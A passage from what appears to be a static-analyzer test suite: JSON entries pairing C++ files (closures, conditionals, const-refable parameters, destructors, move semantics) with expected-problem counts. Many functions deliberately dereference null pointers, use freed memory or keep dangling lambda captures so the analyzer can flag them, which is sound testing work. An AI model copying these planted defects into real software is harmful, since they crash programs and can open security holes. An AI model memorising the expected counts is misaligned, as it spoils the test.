\n\ntemplate \nint call_lambda(F lambda) {\n return lambda(100);\n}\n\nint call_lambda_through_function() {\n int c = 42;\n return call_lambda([c](int a) { return a + c; });\n}\n\nint call_lambda_directly() {\n int c = 42;\n return [c](int a) { return a + c; }(100);\n}\n\nint call_lambda_through_function_test_bad() {\n if (call_lambda_through_function() == 142) {\n int* p = NULL;\n return *p;\n }\n}\n\nint call_lambda_through_function_test_good() {\n if (call_lambda_through_function() == 143) {\n int* p = NULL;\n return *p;\n }\n}\n\nint call_lambda_directly_test_bad() {\n if (call_lambda_directly() == 142) {\n int* p = NULL;\n return *p;\n }\n}\n\nint call_lambda_directly_test_good() {\n if (call_lambda_directly() == 143) {\n int* p = NULL;\n return *p;\n }\n}\n\nint call_std_fun_constructor() {\n int c = 42;\n std::function f = [c](int a) { return a + c; };\n return f(100);\n}\n\nint call_std_fun_constructor_test_bad() {\n if (call_std_fun_constructor() == 142) {\n int* p = NULL;\n return *p;\n }\n}\n\nint call_std_fun_constructor_test_good() {\n if (call_std_fun_constructor() == 143) {\n int* p = NULL;\n return *p;\n }\n}\n\nint* dangerous();\nvoid deref_dangerous_lambda_bad() {\n auto l_dangerous = []() { return dangerous(); };\n int* p = l_dangerous();\n *p = 42;\n\n}\n\nvoid deref_dangerous_lambda_function_bad() {\n std::function fl_dangerous = []() { return dangerous(); };\n int* p = fl_dangerous();\n *p = 42;\n}\n\nclass A {\npublic:\n std::function f;\n\n A(std::function func) : f(std::move(func)) {}\n};\n\nvoid defer_dangerous_member_bad() {\n A a([]() { return dangerous(); });\n int *p = a.f();\n *p = 42;\n}\n\nint* maybe_dangerous();\nvoid deref_maybe_dangerous_lambda_function_ok() {\n std::function fl_maybe_dangerous = []() { return maybe_dangerous(); };\n int* p = fl_maybe_dangerous();\n *p = 42;\n}\n\nint call_lambda_after_copy() {\n int c = 41;\n int d = 1;\n auto f = [c, &d](int a) { return a + c + d; };\n auto g = f;\n return g(100);\n}\n\nint call_lambda_after_copy_test_bad() {\n if (call_lambda_after_copy() == 142) {\n int* p = NULL;\n return *p;\n }\n}\n\nint call_lambda_after_copy_test_good() {\n if (call_lambda_after_copy() == 143) {\n int* p = NULL;\n return *p;\n }\n}\n\nint closure_as_arg(std::function closure) { return closure(); }\n\nint closure_call() {\n int x = 5;\n return closure_as_arg([x]() { return x + 27; });\n}\n\nint closure_call_bad() {\n if (closure_call() == 32) {\n int* ptr = NULL;\n return *ptr;\n } else\n return 0;\n}\n\nint closure_call_good() {\n if (closure_call() == 30) {\n int* ptr = NULL;\n return *ptr;\n } else\n return 0;\n}\n\nint named_closure_call() {\n int x = 5;\n auto closure = [x]() { return x + 27; };\n return closure_as_arg(closure);\n}\n\nint named_closure_call_bad() {\n if (named_closure_call() == 32) {\n int* ptr = NULL;\n return *ptr;\n } else\n return 0;\n}\n\nint named_closure_call_good_FP() {\n if (named_closure_call() == 30) {\n int* ptr = NULL;\n return *ptr;\n } else\n return 0;\n}\n" + }, + { + "testname": "closures.cpp", + "testlanguage": "c++", + "expected-problems": 154, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nstruct S {\n int f;\n\n S() { f = 1; }\n ~S() {}\n};\n\nint ref_capture_destroy_invoke_bad() {\n std::function f;\n {\n S s;\n f = [&s] { return s.f; };\n } // destructor for s called here\n return f(); // s used here\n}\n\nint implicit_ref_capture_destroy_invoke_bad() {\n std::function f;\n {\n auto s = S();\n f = [&] { return s.f; };\n }\n return f();\n}\n\n// FN in C++14\nint reassign_lambda_capture_destroy_invoke_bad() {\n std::function f;\n {\n auto s = S();\n // this is a copy constructor in C++14, which pulse misses,\n // but it's a straight assignment in C++17, which pulse understands\n auto tmp = [&] { return s.f; };\n f = tmp;\n }\n return f();\n}\n\nint value_capture_destroy_invoke_ok() {\n std::function f;\n {\n S s;\n f = [s] { return s.f; };\n }\n return f();\n}\n\nint implicit_value_capture_destroy_invoke_ok() {\n std::function f;\n {\n S s;\n f = [=] { return s.f; };\n }\n return f();\n}\n\nint ref_capture_invoke_ok() {\n std::function f;\n int ret;\n {\n S s;\n f = [&s] { return s.f; };\n ret = f();\n }\n return ret;\n}\n\nvoid invoke_twice_ok() {\n std::function f;\n int ret;\n {\n S s;\n f = [&s] { return s.f; };\n f();\n f();\n }\n}\n\nvoid ref_capture_read_lambda_ok() {\n std::function f;\n int ret;\n {\n S s;\n f = [&s] { return s.f; };\n }\n auto tmp =\n f; // reading (but not invoking) the lambda doesn't use its captured vars\n}\n\n// explicit destructor call is not modelled\nint FN_delete_lambda_then_call_bad() {\n std::function lambda = [] { return 1; };\n lambda.~function();\n return lambda();\n}\n\n// need to treat escaping as a use in order to catch this\nstd::function FN_ref_capture_return_lambda_bad() {\n std::function f;\n int ret;\n {\n S s;\n f = [&s] { return s.f; };\n }\n return f; // if the caller invokes the lambda, it will try to read the invalid\n // stack address\n}\n\nint ref_capture_return_local_lambda_ok() {\n S x;\n auto f = [&x](void) -> S& {\n // do not report this because there is a good chance that this function will\n // only be used in the local scope\n return x;\n };\n return f().f;\n}\n\nS& ref_capture_return_local_lambda_bad() {\n S x;\n auto f = [&x](void) -> S& {\n // no way to know if ok here\n return x;\n };\n // woops, this returns a ref to a local!\n return f();\n}\n\nstruct C {\n int val() const;\n ~C();\n};\n\nstruct D {\n void add(int v);\n ~D();\n};\n\nvoid capture_multiple_vars_by_value_ok(C c, C c2) {\n auto f = [=]() -> D* {\n auto d = new D();\n d->add(c.val());\n d->add(c2.val());\n return d;\n };\n}\n\nvoid call_lambda_ok() {\n auto f = [](S* s) { int x = s->f; };\n S* s = new S();\n f(s);\n delete s;\n}\n\nvoid call_lambda_bad() {\n auto f = [](S* s) { int x = s->f; };\n S* s = new S();\n delete s;\n f(s);\n}\n\nvoid call_lambda_std_fun_bad() {\n std::function f;\n f = [](S* s) { int x = s->f; };\n S* s = new S();\n delete s;\n f(s);\n}\n\nvoid call_std_fun_constructor_bad() {\n std::function f1 = [](S* s) { int x = s->f; };\n std::function f2 = f1;\n S* s = new S();\n delete s;\n f2(s);\n}\n\nvoid function_constructor_null_ok() { std::function f = nullptr; }\n\nvoid function_assign_null_ok() {\n std::function f = [] { return 1; };\n f = nullptr;\n}\n\nvoid capture_by_value_ok() {\n int value = 5;\n auto f = [value]() -> int* { return new int(value); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p != 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid capture_by_value_bad() {\n int value = 5;\n auto f = [value]() -> int* { return new int(value); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p == 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid capture_by_ref_ok() {\n int value = 5;\n auto f = [&value]() -> int* { return new int(value); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p != 6) {\n *q = 42;\n }\n delete p;\n}\n\nvoid capture_by_ref_bad() {\n int value = 5;\n auto f = [&value]() -> int* { return new int(value); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p == 6) {\n *q = 42;\n }\n delete p;\n}\n\nvoid capture_by_value_init_ok() {\n int value = 5;\n auto f = [v = value]() -> int* { return new int(v); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p != 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid capture_by_value_init_bad() {\n int value = 5;\n auto f = [v = value]() -> int* { return new int(v); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p == 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid capture_by_ref_init_ok() {\n int value = 5;\n auto f = [&v = value]() -> int* { return new int(v); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p != 6) {\n *q = 42;\n }\n delete p;\n}\n\nvoid capture_by_ref_init_bad() {\n int value = 5;\n auto f = [&v = value]() -> int* { return new int(v); };\n value++;\n int* p = f();\n int* q = nullptr;\n if (*p == 6) {\n *q = 42;\n }\n delete p;\n}\n\nvoid ref_capture_by_value_ok() {\n int value = 5;\n int& ref = value;\n auto f = [ref]() -> int* { return new int(ref); };\n ref++;\n int* p = f();\n int* q = nullptr;\n if (*p != 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid ref_capture_by_value_bad() {\n int value = 5;\n int& ref = value;\n auto f = [ref]() -> int* { return new int(ref); };\n ref++;\n int* p = f();\n int* q = nullptr;\n if (*p == 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid ref_capture_by_ref_ok() {\n int value = 5;\n int& ref = value;\n auto f = [&ref]() -> int* { return new int(ref); };\n ref++;\n int* p = f();\n int* q = nullptr;\n if (*p != 6) {\n *q = 42;\n }\n delete p;\n}\n\nvoid ref_capture_by_ref_bad() {\n int value = 5;\n int& ref = value;\n auto f = [&ref]() -> int* { return new int(ref); };\n ref++;\n int* p = f();\n int* q = nullptr;\n if (*p == 6) {\n *q = 42;\n }\n delete p;\n}\n\nvoid struct_capture_by_ref_bad() {\n S s;\n auto f = [&s]() -> int* { return new int(s.f); };\n s.f = 5;\n int* p = f();\n int* q = nullptr;\n if (*p == 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid struct_capture_by_ref_ok() {\n S s;\n auto f = [&s]() -> int* { return new int(s.f); };\n s.f = 5;\n int* p = f();\n int* q = nullptr;\n if (*p != 5) {\n *q = 42;\n }\n delete p;\n}\n\nvoid struct_capture_by_val_bad() {\n S s;\n auto f = [s]() -> int* { return new int(s.f); };\n s.f = 5;\n int* p = f();\n int* q = nullptr;\n if (*p == 1) {\n *q = 42;\n }\n delete p;\n}\n\nvoid struct_capture_by_val_ok_FP() {\n S s;\n auto f = [s]() -> int* { return new int(s.f); };\n s.f = 5;\n int* p = f();\n int* q = nullptr;\n if (*p != 1) {\n *q = 42;\n }\n delete p;\n}\n\nS* update_inside_lambda_capture_and_init(S* s) {\n S* object = nullptr;\n auto f = [&o = object](S* s) { o = s; };\n f(s);\n return object;\n}\n\nint update_inside_lambda_capture_and_init_ok(S* param_s) {\n return update_inside_lambda_capture_and_init(param_s)->f;\n}\n\nS* update_inside_lambda_capture_only(S* s) {\n S* object = nullptr;\n /* FIXME: clang AST gives us `S*` for variable `object` in the\n lambda's body, hence the translation misses one dereference */\n auto f = [&object](S* s) { object = s; };\n f(s);\n return object;\n}\n\nint update_inside_lambda_capture_only_ok(S* param_s) {\n return update_inside_lambda_capture_only(param_s)->f;\n}\n\nvoid call_argument(std::function f, S* s) { f(s); }\n\nS* update_inside_lambda_as_argument(S* s) {\n S* object = nullptr;\n auto f = [&o = object](S* s) { o = s; };\n call_argument(f, s);\n return object;\n}\n\nint update_inside_lambda_as_argument_ok(S* param_s) {\n return update_inside_lambda_as_argument(param_s)->f;\n}\n\nstd::function get_lambda(bool b) {\n return [b]() -> void { return; };\n}\n\nvoid capture_false_by_value_ok() {\n const auto& f = get_lambda(false);\n f();\n}\n\nvoid FP_update_inside_lambda_visible_outside_ok() {\n int x = 0; // there are two variables x in the symbolic state `roots={ &x=v3,\n // &x=v1 }`\n auto f = [&xx = x]() {\n xx++;\n }; // one variable disappear because of dealloc instruction\n x = 7; // again there are two variables x in the symbolic state\n f();\n if (x != 8) {\n int* p = nullptr;\n *p = 42;\n }\n}\n" + }, + { + "testname": "conditionals.cpp", + "testlanguage": "c++", + "expected-problems": 43, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid unreachable_eq_then_ne_ok(int* x, int y) {\n if (y == 0) {\n free(x);\n }\n if (y != 0) {\n free(x);\n }\n}\n\nvoid unreachable_ne_then_eq_ok(int* x, int y) {\n if (y != 0) {\n free(x);\n }\n if (y == 0) {\n free(x);\n }\n}\n\nbool equal_explicit(size_t x, size_t y) {\n if (x == y) {\n return true;\n }\n return false;\n}\n\n// need relational domain to give this a good spec\nbool equal(size_t x, size_t y) { return x == y; }\n\nvoid unreachable_interproc_compare_ok(int* x, size_t y) {\n if (equal(y, 0)) {\n free(x);\n }\n if (equal_explicit(y, 1)) {\n free(x);\n }\n}\n\nvoid compare_deref_ok(int* x) {\n if (!equal((size_t)x, 0)) {\n *x = 42;\n }\n}\n\nvoid arith_test_ok(int* x, int y, int z) {\n free(x);\n if (y != 0 && y != 1 && y >= 1) { // should infer y >= 2\n if (y < 2) { // always false\n *x = 42;\n }\n }\n}\n\nvoid add_test1_ok(int* x) {\n free(x);\n int y = 0;\n if (y + 1 != 1) { // always false\n *x = 42;\n }\n}\n\nvoid add_test2_ok(int* x, int y, int z) {\n free(x);\n if (y >= 0) {\n if (z >= 4 && z <= 42) {\n if (y + z < 4 || y + z <= 3 || z + 5 > 47) { // always false\n *x = 42;\n }\n }\n }\n}\n\nvoid add_test3_bad(int* x, int y, int z) {\n free(x);\n if (y > 2 && y + z > 5) { // sometimes true\n *x = 42;\n }\n}\n\nvoid add_test4_bad_FN(int* x) {\n free(x);\n // the concrete bound is never reached because it requires too many iterations\n // and we never widen\n for (int i = 0; i < 1000; i++) {\n }\n *x = 42;\n}\n\nvoid add_test5_bad(int* x, int n) {\n free(x);\n // the unknown bound is treated non-deterministically, good thing here\n for (int i = 0; i < n; i++) {\n }\n *x = 42;\n}\n\nvoid add_test6_bad_FNish(int* x, int n, int step) {\n free(x);\n // the loop should diverge but arguably the code is wrong and should\n // have a more explicit \"false\" condition (hence \"FN-ish\")\n for (int i = n - 1; i < n;) {\n }\n *x = 42;\n}\n\nvoid minus_test_ok(int* x) {\n free(x);\n if (-1 + 3 - 2 != 0) { // always false\n *x = 42;\n }\n}\n\nvoid binary_and_ok(int* x) {\n free(x);\n if (10 & 9) {\n } else {\n *x = 42;\n }\n}\n\nvoid binary_and_bad(int* x) {\n free(x);\n if (10 & 9) {\n *x = 42;\n }\n}\n" + }, + { + "testname": "conditional_temporaries.cpp", + "testlanguage": "c++", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace condtemp {\n\n// keep track of how many copies are made of the object and how many\n// of these copies have been destroyed\nstruct Counter {\n std::string name;\n int copies;\n int copies_destroyed;\n bool destroyed;\n\n Counter(std::string name_)\n : name(name_), copies(0), copies_destroyed(0), destroyed(false) {}\n};\n\nstruct X {\n int f; // some data\n Counter* counter; // nullptr if this object is a copy from another X\n Counter* original_counter; // nullptr if this object was created not from a\n // copy or move constructor\n\n X() = delete;\n X(Counter* counter_) : counter(counter_), original_counter(nullptr), f(72) {\n // std::cerr << \"original: \" << name() << \"\\n\";\n }\n X(X& x) {\n std::cerr << \"copy (of \" << x.name()\n << \") constructor called with f=\" << x.f << \"\\n\";\n f = x.f + 11;\n copy_from(x);\n }\n X(X&& x) {\n std::cerr << \"move (of \" << x.name()\n << \") constructor called with f=\" << x.f << \"\\n\";\n f = x.f + 10;\n copy_from(x);\n }\n\n // should realise [this] cannot be null to avoid FP latent (that can never be\n // manifested)\n ~X() {\n std::cerr << \"~X(\" << f << \") \" << name();\n if (original_counter) {\n original_counter->copies_destroyed++;\n }\n if (counter) {\n std::cerr << \" original destroyed\";\n counter->destroyed = true;\n }\n std::cerr << \" \\n\";\n ;\n }\n\n private:\n void copy_from(X& x) {\n counter = nullptr;\n if (x.counter) {\n original_counter = x.counter;\n } else {\n original_counter = x.original_counter;\n }\n original_counter->copies++;\n }\n\n std::string& name() {\n if (counter) {\n return counter->name;\n } else {\n return original_counter->name;\n }\n }\n};\n\nX copy(X x) {\n std::cerr << \"copy(\" << x.f << \")\\n\";\n return x;\n}\n\nvoid crash(bool b) {\n if (b) {\n }\n}\n\nvoid FP_track_copy_operations_one_copy_ok() {\n Counter c_true(\"c_true\"), c_false(\"c_false\");\n X y(&c_false);\n X x = false ? X(&c_true) : y;\n std::cerr << \"c_false.copies=\" << c_false.copies << \"\\n\";\n std::cerr << \"c_false.copies_destroyed=\" << c_false.copies_destroyed << \"\\n\";\n std::cerr << \"c_false.destroyed=\" << c_false.destroyed << \"\\n\";\n std::cerr << \"c_true.copies=\" << c_true.copies << \"\\n\";\n std::cerr << \"c_true.copies_destroyed=\" << c_true.copies_destroyed << \"\\n\";\n std::cerr << \"c_true.destroyed=\" << c_true.destroyed << \"\\n\";\n // these values were checked against the output of the program\n // compiled with clang -fno-elide-constructors, results will vary\n // if we omit the elidable constructor calls\n if (!(c_false.copies == 2 && c_false.copies_destroyed == 1 &&\n !c_false.destroyed) ||\n c_true.copies != 0 || c_true.copies_destroyed != 0 || c_true.destroyed) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid FP_track_copy_operations_complex_ok() {\n Counter c_true(\"c_true\"), c_false(\"c_false\");\n X y(&c_false);\n X x = true ? copy(X(&c_true)) : y;\n std::cerr << \"c_false.copies=\" << c_false.copies << \"\\n\";\n std::cerr << \"c_false.copies_destroyed=\" << c_false.copies_destroyed << \"\\n\";\n std::cerr << \"c_false.destroyed=\" << c_false.destroyed << \"\\n\";\n std::cerr << \"c_true.copies=\" << c_true.copies << \"\\n\";\n std::cerr << \"c_true.copies_destroyed=\" << c_true.copies_destroyed << \"\\n\";\n std::cerr << \"c_true.destroyed=\" << c_true.destroyed << \"\\n\";\n // these values were checked against the output of the program\n // compiled with clang -fno-elide-constructors, results will vary\n // if we omit the elidable constructor calls\n if (!(c_true.copies == 4 && c_true.copies_destroyed == 3 &&\n c_true.destroyed)) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\n} // namespace condtemp\n\nint main() { condtemp::FP_track_copy_operations_complex_ok(); }\n" + }, + { + "testname": "const_refable.cpp", + "testlanguage": "c++", + "expected-problems": 93, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n#include \n#include \n#include \n#include \n\nnamespace folly {\ntemplate \nclass Optional {\n public:\n Optional(const Optional& src);\n bool has_value();\n\n private:\n Value v;\n};\n\nnamespace coro {\ntemplate \nclass Task {};\n} // namespace coro\n} // namespace folly\n\nnamespace const_refable {\n\nstruct Arr {\n int arr[2];\n std::vector vec;\n};\n\n// The correct use of const reference when parameter is not modified\nint read_first_ok(const Arr& a) { return a.vec[0]; }\n\n// Non-const references are not reported on\nstd::string non_const_ref_ok(std::string& str) { return str + str; }\n\n// R-value references are not reported on\nvoid rvalue_ref_ok(Arr&& a) { auto& cpy = a; }\n\n// vec is not modified, so should be const reference.\nint read_first_bad(Arr a) { return a.vec[0]; }\n\nint modify_first_ok(Arr a) {\n a.arr[0] += 8;\n return a.arr[0];\n}\n\nvoid ref_modified_ok(std::vector vec) {\n auto& cpy = vec;\n cpy[0] += 8;\n}\n\nint get_first(const std::vector& vec) { return vec[0]; }\n\nvoid interprocedural_read_bad(std::vector vec) {\n int first = get_first(vec);\n}\n\n// Sum vec by reading vector elements\nint sum_in_loop_bad(std::vector vec) {\n int total = 0;\n for (const int& x : vec)\n\n total += x; // vec is not modified here\n return total;\n}\n\n// anonymous parameters usually exist to satisfy the signature for virtual\n// functions. If we recommend const ref, the signature would not match and\n// making the base function const-refable might not be possible since it might\n// be using the parameter.\nvoid some_fun_ok(std::vector /*unnamed_param*/) {}\n\nvoid pass_rvalue_ref(std::set&& x) {}\n\n// params which are passed-by-value and get moved are usually intentional\nint move_ok(std::set source) {\n pass_rvalue_ref(std::move(source));\n return 0;\n}\n\nint param_ref_move_ok(std::set source) {\n auto& source_ref = source;\n pass_rvalue_ref(std::move(source_ref));\n return 0;\n}\n\nint static_cast_to_rvalue_ref_ok(std::set source) {\n pass_rvalue_ref(static_cast&&>(source));\n return 0;\n}\n\n// structs known to be cheap to copy are not reported\nint std_pair_int_ok(std::pair p) { return p.first; }\n\nint std_pair_vector_bad(std::pair> p) { return p.first; }\n\nstd::string std_pair_string_bad(std::pair p) {\n return p.first;\n}\n\nint folly_optional_int_ok(folly::Optional n_opt) {\n if (n_opt.has_value()) {\n return 42;\n }\n return 0;\n}\n\nint folly_optional_vector_bad(folly::Optional> vec_opt) {\n if (vec_opt.has_value()) {\n return 42;\n }\n return 0;\n}\n\nint folly_optional_string_bad(folly::Optional s_opt) {\n if (s_opt.has_value()) {\n return 42;\n }\n return 0;\n}\n\nstruct StructWithInt {\n int n;\n std::vector vec;\n};\n\nvoid havoc_ptr(int* p);\n\n// StructWithInt s is const refable since it is not modified\nvoid havoc_reachable_by_unknown_bad(int* p, StructWithInt s) {\n if (s.n == 42 && *p == 42) {\n havoc_ptr(p);\n }\n}\n\nvoid dead_param_ok(folly::Optional s_opt) {}\n\nvoid call_lambda(const std::function& f) { f(); }\n\n// This is FN in c++11.\nvoid captured_arr_bad_FN(Arr a) {\n call_lambda([&a]() {});\n}\n\n// This is TN in c++11.\nvoid captured_arr_ok(Arr a) {\n call_lambda([&a]() { a.arr[0] += 8; });\n}\n\n// This is TP in c++11.\nvoid captured_shared_ptr_bad_FN(std::shared_ptr a) {\n call_lambda([&a]() {});\n}\n\nArr global;\n\nclass AssignField {\n Arr field;\n\n public:\n // It should NOT report const refable issue, but unncessary copy assignment\n // issue.\n void assign_field_bad(Arr a) { field = a; }\n\n // It should NOT report const refable issue, but unncessary copy assignment\n // issue.\n void assign_global_bad(Arr a) { global = a; }\n};\n\n// Suppress const refable issues on functions returning folly::coro::Task\nfolly::coro::Task ret_coro_task_ok(std::string s) {\n int n = s.length();\n return folly::coro::Task();\n}\n\nvoid move_iterated_vector_ok(std::vector v) {\n std::vector local;\n local.insert(local.end(),\n std::make_move_iterator(v.begin()),\n std::make_move_iterator(v.end()));\n}\n\nchar mod_char(char);\n\nvoid modify_string(std::string& s) {\n for (char& c : s) {\n c = mod_char(c);\n }\n}\n\nvoid call_modify_string_ok(std::string s) { modify_string(s); }\n\nvoid void_cast(std::string* s) { (void)s; }\n\n// FN because now infer_skip is addressed as an unknown call\nvoid call_void_cast_bad_FN(std::string s) { void_cast(&s); }\n\nint get_lambda(const std::function& f, Arr a) {\n return f(std::move(a));\n}\n\nint call_get_lambda_ok(Arr a) {\n return get_lambda([](Arr a) { return a.vec[0]; }, std::move(a));\n}\n\nstd::string use_unique_ptr_ok(std::unique_ptr x) {\n return *x.get();\n}\n\nstruct NonCopiableT {\n std::vector vec;\n int x;\n // doesn't allow copying\n NonCopiableT(const NonCopiableT&) = delete;\n};\n\n// we shouldn't report const-refable here since the type doesn't allow copies\nvoid non_copiable_ok(NonCopiableT t) { auto p = t.x; }\n\nvoid modify_string_ok(std::string s) {\n char* p = &s[0];\n *p = 'a';\n}\n\n// currently the model semantics cannot follow the pointer arithmetics precisely\nvoid modify_string2_ok_FP(std::string s) {\n char* p = &s[3];\n *p = 'a';\n}\n\nclass N {\n uint32_t n;\n};\nusing TupleN = std::tuple;\n\nvoid use_tupleN(TupleN x);\n\nvoid pass_tupleN_ok(TupleN x) { use_tupleN(x); }\n\nstd::string move_to_return_ok(bool b, std::string s) {\n if (b) {\n return \"hi\";\n } else {\n return s; // s is moved here.\n }\n}\n\nvoid unknown_lambda_call(std::function);\n\n// The issue is conservatively suppressed when the parameter is captured by\n// reference.\nvoid captured_ref_ok(std::vector vec) {\n auto f = [&vec]() { vec[0] += 42; };\n unknown_lambda_call(std::move(f));\n}\n\nvoid captured_value_bad(std::vector vec) {\n auto f = [vec]() {};\n unknown_lambda_call(std::move(f));\n}\n\nvoid captured_move_ok(std::vector vec) {\n auto f = [vec = std::move(vec)]() {};\n unknown_lambda_call(std::move(f));\n}\n} // namespace const_refable\n" + }, + { + "testname": "const_volatile_type.cpp", + "testlanguage": "c++", + "expected-problems": 20, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nint test_volatile1_bad() {\n std::unique_ptr x;\n std::unique_ptr y = std::move(x);\n return *y;\n}\n\nint test_volatile2_bad() {\n std::unique_ptr x;\n return *x;\n}\n\nint test_volatile3_bad() {\n std::shared_ptr x;\n std::shared_ptr y = std::move(x);\n return *y;\n}\n\nint test_volatile4_bad() {\n std::shared_ptr x;\n return *x;\n}\n\nint test_const1_bad() {\n std::unique_ptr x;\n std::unique_ptr y = std::move(x);\n return *y;\n}\n\nint test_const2_bad() {\n std::unique_ptr x;\n return *x;\n}\n\nint test_const3_bad() {\n std::shared_ptr x;\n std::shared_ptr y = std::move(x);\n return *y;\n}\n\nint test_const4_bad() {\n std::shared_ptr x;\n return *x;\n}\n" + }, + { + "testname": "deduplication.cpp", + "testlanguage": "c++", + "expected-problems": 29, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nnamespace deduplication {\n\nstruct A {\n int f;\n};\n\ntemplate \nstruct SomeTemplatedClass {\n void templated_wrapper_delete_ok(A* a);\n void templated_wrapper_access_ok(A* a);\n void lifetime_error_bad(A* a);\n};\n\ntemplate \nvoid SomeTemplatedClass::templated_wrapper_delete_ok(A* a) {\n delete a;\n}\n\ntemplate \nvoid SomeTemplatedClass::templated_wrapper_access_ok(A* a) {\n int x = a->f;\n}\n\ntemplate \nvoid SomeTemplatedClass::lifetime_error_bad(A* a) {\n SomeTemplatedClass::templated_wrapper_delete_ok(a);\n SomeTemplatedClass::templated_wrapper_access_ok(a);\n}\n\nvoid materialize_class_template_instances() {\n A* a1 = new A();\n SomeTemplatedClass x1;\n x1.lifetime_error_bad(a1);\n\n A* a2 = new A();\n SomeTemplatedClass x2;\n x2.lifetime_error_bad(a2);\n}\n\ntemplate \nvoid templated_delete_function(T t, A* a) {\n delete a;\n}\n\ntemplate \nvoid templated_access_function(T t, A* a) {\n int x = a->f;\n}\n\ntemplate \nvoid templated_function_bad(T t) {\n A* a = new A();\n templated_delete_function(t, a);\n templated_access_function(t, a);\n}\n\ntemplate void templated_delete_function(int, A*);\ntemplate void templated_delete_function(bool, A*);\ntemplate void templated_access_function(int, A*);\ntemplate void templated_access_function(bool, A*);\ntemplate void templated_function_bad(int);\ntemplate void templated_function_bad(bool);\n\nvoid materialize_function_template_instances() {\n templated_function_bad(42);\n templated_function_bad(true);\n}\n\n} // namespace deduplication\n" + }, + { + "testname": "deref_after_move_example.cpp", + "testlanguage": "c++", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace deref_after_move_example {\n\nstruct Person {\n // NOTE: the implicit constructor has a mem leak FP\n std::unique_ptr age{new int(35)};\n std::unique_ptr move_age() { return std::move(age); }\n int access_age() { return *age; }\n};\n\nint deref_after_move_bad() {\n Person p;\n auto x = p.move_age();\n *x;\n return p.access_age();\n}\n\nint deref_ok() {\n Person p;\n return p.access_age();\n}\n\nint deref_after_move_ok() {\n Person p;\n auto x = p.move_age();\n return *x;\n}\n\nstruct SimpleStruct {\n int field;\n};\n\nstd::unique_ptr global_simple_struct;\n\nvoid register_to_global(std::unique_ptr x) {\n global_simple_struct = std::move(x);\n}\n\nvoid deref_after_register_ok(std::unique_ptr x) {\n SimpleStruct* p = x.get();\n register_to_global(std::move(x));\n int n = p->field;\n}\n\nstruct S {\n public:\n S();\n S(const S& s);\n S(S&& s) {\n if (this == &s) {\n return;\n }\n }\n ~S();\n};\n\nclass T {\n public:\n S s;\n T(S&& s) : s(std::move(s)) {}\n};\n\nT move_local_variable() {\n S x{};\n return T(std::move(x));\n}\n\nS call_move_local_variable_ok() {\n T t = move_local_variable();\n return t.s;\n}\n\n} // namespace deref_after_move_example\n" + }, + { + "testname": "destructor.cpp", + "testlanguage": "c++", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nnamespace destructor {\n\ntemplate \nstruct UniquePtr {\n X* x_;\n ~UniquePtr() { delete x_; }\n UniquePtr(X* y) { x_ = y; }\n\n UniquePtr(UniquePtr& p) = delete; // no copy constructor\n UniquePtr(UniquePtr&& p) {\n x_ = p.get();\n p.x_ = nullptr;\n }\n\n X* get() const { return x_; }\n\n X& operator*() const { return *get(); }\n\n X* operator->() const { return get(); }\n};\n\nstruct X {\n int f;\n ~X() {}\n};\n\nvoid destruct_unique_deletes_pointer_bad() {\n X* p = new X;\n { UniquePtr u = UniquePtr(p); }\n int i = p->f;\n}\n\nvoid destruct_unique_ref_deletes_pointer_bad() {\n X* p = new X;\n { const UniquePtr& u = UniquePtr(p); }\n int i = p->f;\n}\n\nvoid destruct_unique_ptr_deletes_pointer_bad() {\n X* p = new X;\n // note: this is not a smart way to use UniquePtr in general\n UniquePtr* u = new UniquePtr(p);\n delete u;\n int i = p->f;\n}\n\n} // namespace destructor\n" + }, + { + "testname": "dynamic_dispatch.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nnamespace dynamic_dispatch {\n\nstruct Base {\n virtual int foo() { return 32; }\n};\n\nstruct Derived : Base {\n int foo() { return 52; }\n};\n\nBase getDerived() { return Derived{}; }\n\nBase* getDerivedPtr() { return new Derived(); }\n\nvoid dispatch_to_Base_bad() {\n Base base{};\n if (base.foo() == 32) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\n// FN because we do not track dynamic types unless it's a heap allocation\n// initiated by new()\nvoid FN_dispatch_to_Derived_bad() {\n Base derived = getDerived();\n if (derived.foo() 